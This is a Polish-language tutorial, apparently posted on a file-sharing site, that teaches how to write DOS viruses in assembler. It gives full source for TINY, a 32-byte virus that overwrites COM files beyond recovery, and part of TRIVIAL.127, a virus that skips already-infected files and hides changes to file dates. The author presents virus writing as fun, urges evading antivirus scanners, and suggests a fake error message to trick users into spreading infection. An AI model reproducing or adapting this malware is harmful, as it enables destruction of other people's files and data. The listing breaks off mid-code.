VIR_1.RTF

(99 KB) Pobierz

CZĘŚĆ 1

                          

Do nauki pisania wirusów będzie potrzebnych kilka narzędzi:

 

·         jakiś kompilator asemblerowy, np. A86, czy TASM i TLINK

·         trochę czasu

·         zły humor :-)

·         podstawy z programowania w Assemblerze

 

Są tam również disassemblery i debuggery. POLECAM!!

 

1. ZACZYNAMY

 

Istnieje wiele wirusów. Powstaje ich coraz więcej. Związane jest to głównie z tym, ze na rynku powstają coraz to nowsze programy, które praktycznie same tworzą nowe "szkodniki". My jako pseudoautorzy podajemy tylko ich podstawowe parametry, a głównie autora. Większość programów antywirusowych potrafi wykryć wirusy stworzone przy pomocy takich programów. Wszystkie one maja jakieś cechy wspólne. Jednak przez pewne różnice w kodzie programy antywirusowe nie potrafią ich usunąć. Uważam, ze takie pisanie wirusów jest do niczego. Dużo więcej frajdy sprawia stworzenie takiego szkodnika, który nie jest wykrywany przez skanery, a przy okazji pokazuje jakiś ciekawy efekt graficzny, bądź dźwiękowy. Wirusy doklejają się prawie do wszystkich plików. Potrafią zaatakować pliki typu: EXE, COM, SYS, DLL, VXD, XLS, DOC. Są próby nawet plików BAT. By stworzyć wirusa danego typu pliku trzeba poznać jego budowę. Po krotce:

 

a)              pliki typu EXE posiadają własny nagłówek, w którym zapisany jest punkt startu programu, czyli odkąd ma ruszyć wykonywanie programu po jego uruchomieniu. Większość wirusów plików EXE dokleja się na ich końcu zapamiętując punkt startu znajdujący się w jego nagłówku i zmieniając go na adres własnego kodu. Po uruchomieniu tak zarażonego pliku uruchomiony zostaje najpierw kod wirusa, a następnie właściwy kod programu.

 

b)              pliki typu COM są dużo prostsze. Nie posiadają one nagłówka. Cały program mieści się w jednym segmencie, co ułatwia pisanie wirusa. Programy typu COM wykonywane są zawsze spod tego samego punktu startu, jest to 100H. Dlatego większość wirusów atakujących takie pliki dopisuje się na ich końcu zapamiętując pierwsze trzy bajty oryginalnego programu i zmieniając je na instrukcje JMP adres, gdzie adres - jest to początek kodu wirusa.

 

2. PODSTAWOWE KOMENDY

Na początek wytłumaczę (przypomnę) kilka komend z Assemblera, które będą potrzebne do napisania naszego bardzo prymitywnego wirusa. Wytłumaczę to bardzo ogólnie. I tak:

Rejestry ogólnego przeznaczenia:

 

AX                             - dzieli się na AH i AL

                BX                             - dzieli się na BH i BL

CX                             - dzieli się na CH i CL

DX                             - dzieli się na DH i DL

Rejestry segmentowe:

 

CS                             - segment kodu

DS                             - segment danych

Rejestr znaczników:

do tego rejestru programista nie ma bezpośredniego dostępu, może poszczególne jego bity zmieniać przy pomocy innych instrukcji Assemblera.

Podstawowe komendy:

MOV X,Y               - instrukcja kopiuje zawartość rejestru, lub komórki pamięci X do rejestru lub komórki Y. Nie wolno kopiować komórki pamięci do komórki pamięci. Jako X możemy również podać wartość stałą. Nie wolno przesyłać wartości stałej do rejestru segmentowego.

 

              INT X                             - instrukcja powoduje wywołanie przerwania o numerze X  

JMP X                             - instrukcja powoduje wykonanie skoku bezwarunkowego pod adres X

XCHG X,Y               - instrukcja powoduje zamianę miedzy sobą wartości dwóch rejestrów.

XOR X,Y                - rozkaz oblicza sumę symetryczna rejestrów X i Y. Jeśli wykonamy ta instrukcje na tych samych rejestrach, to zostaną one wyzerowane, np. XOR AX,AX (AX=0)

 

Do napisania pierwszego wirusa będą nam potrzebne również pewne przerwania:

   INT 21H                   - przerwanie 21H (wywołanie funkcji DOS-u)

MOV AH,x                  - X - numer funkcji przerwania

AH=4EH              - funkcja powoduje szukanie pliku w katalogu bieżącym o nazwie, do której adres podany jest w DS:DX. W nazwie tej można używać gwiazdek i znaku zapytania. W rejestrze CX podajemy atrybut szukanego pliku. Jeśli plik zostanie znaleziony znacznik C zostanie wyzerowany, w DTA będzie znajdował się opis znalezionego pliku. Jeśli wystąpi błąd znacznik C będzie ustawiony (=1), a w rejestrze AX będzie kod powstałego błędu.

            

Blok DTA zaczyna się od adresu 80H i ma następującą budowę:

 

OFFSET              ROZMIAR              ZAWARTOŚĆ

0H              15H              Zarezerwowane dla funkcji 4FH

15H              1H              Atrybuty

16H              2H              Czas ostatniej modyfikacji

18H              2H              Data ostatniej modyfikacji

1AH              4H              Rozmiar pliku w bajtach

1EH              0DH              Nazwa pliku

 

Tak wiec nazwa znalezionego pliku znajduje się pod adresem 9EH.

 

AH=4FH               - funkcja powoduje szukanie kolejnego pliku. Jeśli nie zostanie znaleziony znacznik C zostanie ustawiony.

 

AH=3DH               - funkcja powoduje otwarcie pliku. W DS:DX podajemy adres nazwy pliku w kodzie ASCIIZ, czyli nazwa musi być zakończona kodem ASCII 0, a w AL podajemy tryb dostępu. Mamy do dyspozycji:

                                 

                          AL=0 - tylko do odczytu

AL=1 - tylko do zapisu

AL=2 - do odczytu i zapisu

 

Jeśli powstanie jakiś błąd podczas otwierania pliku zostanie ustawiony znacznik C, w przeciwnym razie w rejestrze AX znajdować się będzie numer dojścia do pliku.

 

AH=3EH               - funkcja powoduje zamkniecie dojścia do pliku. Pliki trzeba zamknąć by wprowadzone zmiany zostały zachowane. W rejestrze BX podajemy numer dojścia do pliku, który chcemy zamknąć.

   

AH=40H               - funkcja powoduje zapisanie CX bajtów do pliku związanego z dojściem podanym w BX. Zapisane zostaną bajty zaczynając od adresu DS:DX.

 

AH=42H               - funkcja powoduje ustalenie pozycji wskaźnika w pliku. W rejestrze BX podajemy numer dojścia do naszego pliku, w CX:DX adres przesunięcia, a w AL sposób przesunięcia. Mamy trzy rodzaje przesunięć:

 

AL=0 - względem początku pliku

AL=1 - względem aktualnej pozycji wskaźnika w pliku

AL=2 - względem końca pliku

 

Po wykonaniu przerwania w DX:AX znajduje się aktualna pozycja kursora. Jeśli więc chcemy ustawić kursor na końcu pliku rejestry CX i DX będą równe zero, a przesuniecie będzie względem końca pliku (AL=2). Funkcja ta to także sposób na odczytanie długości pliku. Wywołana z AL=2, CX=DX=0 zwróci w DX:AX długość pliku.

3. TO DO DZIEŁA

Pierwszym naszym wirusem będzie wirus o nazwie TINY. Zajmuje on tylko 32 bajty. Dokleja się on na początku pliku COM zamazując oryginalny kod. Tak zarażonych plików nie da się już odzyskać.

Nasz wirus będzie wykonywał następujące czynności:

1.              szuka pliku do zarażenia

2.              otwiera znaleziony plik

3.              zapisuje samego siebie

Wirus więc wygląda tak:

start:                                             ; początek wirusa

   MOV AH,4EH                                      ; szukanie pliku

   MOV DX,OFFSET maska               ; z rozszerzeniem COM

   INT 21H

   MOV AX,3D02H                                ; otwarcie pliku

   MOV DX,09EH                                 ; nazwa znalezionego pliku z bloku DTA

   INT 21H

   XCHG AX,BX                                      ; do BX numer dojścia

   MOV AH,40H                                      ; pisanie w pliku

   MOV CL,20H                                      ; CL=20H --> CL=32 - długość zapisywanego pliku

   MOV DX,OFFSET start               ; począwszy od początku wirusa

   INT 21H

   RET                                                        ; zakończenie programu

   maska DB "*.COM",0                ; szukany plik  

end start

Jest to bardzo prymitywny wirus. Nie wyświetla żadnego napisu. Zarażone pliki zmieniają swoja datę oraz czas ostatniej modyfikacji. Wirus również nie zarazi pliku, który ma nałożone jakieś atrybuty. Jednak program powyższy można nazwać WIRUSEM, gdy potrafi się rozprzestrzeniać. Można w pewien sposób poprawić naszego wirusa dostawiając na jego końcu napis np. "Out of memory", tak by po zarażeniu pliku napis ten został wyświetlony. Powinno to zmylić potencjalnego użytkownika i skusić do powtórzenia tej operacji. Wirusy tego typu maja jedna zaletę. Zarażone programy nie zmieniają swojej objętości.

Jest jeszcze jeden wirus o nazwie TRIVIAL.127. Jest to poprawiona wersja naszego TINY'ego. Czym ona się różni?

nie zaraza plików wcześniej zarażonych

kontroluje ewentualne błędy

pliki nie zmieniają swojej daty i czasu ostatniej modyfikacji

Zastanówmy się jak zrobić poszczególne te elementy.

Nasz wirus musi być trochę bardziej inteligentny i jeśli znajdzie plik, który został wcześniej już zarażony, to niech go nie zaraza jeszcze raz tylko poszuka kolejnej ofiary. By to uczynić musi jakoś przetestować znaleziony plik         i stwierdzić, w nim obecność swojego kodu bądź nie. W wirusie TRIVIAL.127 posłużono się w tym celu pierwszymi dwoma bajtami. Cały wirus zaczyna się od instrukcji MOV BX,BX, która ma kod  8BDB. Teraz po znalezieniu ofiary, zostają sprawdzone jej dwa pierwsze bajty i jeśli to 8BDB, to szukamy drugiego pliku, a jeśli nie to zarażamy. By uczynić powyższe zadanie przypomnę kilka instrukcji, które będą nam potrzebne:

   

CMP X,Y                - instrukcja powoduje porównanie dwóch rejestrów, bądź rejestru i stałej oraz na podstawie wyniku odpowiednie ustawienie znaczników.

   

JC adres               - jest to skok warunkowy. Jeśli znacznik C jest ustawiony (=1) to zostanie wykonany skok pod wskazany adres.

 

                 JE adres               - skok gdy wartości rejestrów X i Y są takie same (X=Y)

 

JNE adr                - skok gdy wartości X i Y są różne (X!=Y lub X<>Y)

 

PUSH rej               - instrukcja powoduje zapamiętanie na stosie wartości rejestru REJ

   

POP rej                - instrukcja powoduje zdjęcie ze stosu wartości i zapamiętanie jej w rejestrze REJ.

 

CALL adr               - instrukcja powoduje skok do procedury, która musi być zakończona instrukcją RET

   

RET                             - powoduje powrót z procedury do  miejsca, z którego została wywołana.

 

Będzie również potrzebnych kilka przerwań (funkcji):

 

INT 21H                - przerwanie 21H

                  MOV AL,X               - X - numer funkcji

 

AH=3FH               - funkcja powoduje czytanie pliku. W rejestrze BX podajemy numer dojścia do pliku, w CX liczbę czytanych bajtów, a w DS:DX adres bufora, gdzie zostaną zapamiętane dane. Jeśli wystąpi podczas operacji jakiś błąd, to zostanie ustawiony znacznik C, a rejestr AX będzie zawierał kod powstałego błędu. Jeśli natomiast operacja zakończy się sukcesem, to w AX będzie zapisana liczba przeczytanych bajtów.

               

AH=57H               - funkcja ustawia lub sprawdza aktualna datę oraz czas ostatniej modyfikacji. Jeśli AL=0 to sprawdzamy, a wtedy podajemy w BX numer dojścia i po wykonaniu przerwania w CX znajduje się czas, a w DX data modyfikacji. Gdy AL=1 to ustawiamy, wtedy podajemy również w BX numer dojścia i w CX czas, a DX datę modyfikacji.

 

AH=4CH               - funkcja powoduje zakończenie wykonywania programu i zwrócenie wartości podanej w AL przez ten program.

Nasz wirus wiec wygląda tak:

start:                                                                    ; początek kodu wirusa

         MOV   BX,BX                                        ; instrukcja charakterystyczna dla wirusa

         MOV   AH,4EH                                       ; szukanie pliku

         MOV   CX,0                                         ; ustalenie atrybutów szukanego pliku

         MOV   DX,OFFSET maska                ; nazwa szukanego pliku (*.COM)

etyk1:

         INT   21H

         JC    etyk2                                                      ; jeśli nie znaleziono pliku, to skok pod ETYK2

         CALL  proc1                                        ; jeśli znaleziono, to infekcja - skok to PROC1

         MOV   AH,4FH                                       ; szukanie następnego

         JMP   etyk1                                        ; skok na początek ETYK1

etyk2:                                                    

         MOV   AX,4C00H                                     ; zakończenie programu

         INT   21H

proc1:                                                                    ; procedura zaraża plik

         MOV   AX,3D02H                                     ; otwarcie pliku do odczytu i zapisu

         MOV   DX,9EH                                       ; nazwa w bloku DTA, czyli adres 9EH

         INT   21H

         XCHG  BX,AX                                        ; do BX numer dojścia do pliku

         MOV   AH,3FH                                       ; czytanie z pliku

         MOV   CX,2                                         ; dwóch pierwszych bajtów

         MOV   DX,OFFSET bufor                ; i zapamiętanie ich w Buforze

         INT   21H

         CMP   WORD PTR bufor, 08BDBH ; jeśli wczytane bajty to 8BDB

         JE    etyk4                                                      ; tzn. ze plik został już zarażony

         XOR   DX,DX                                        ; wyzerowanie rejestru DX

         MOV   CX,DX                                        ; do CX wartość DX, czyli CX=0

         MOV   AX,4200H                                     ; ustawienie wskaźnika na początku pliku

         INT   21H

         MOV   AL,0                                         ...

Zgłoś jeśli naruszono regulamin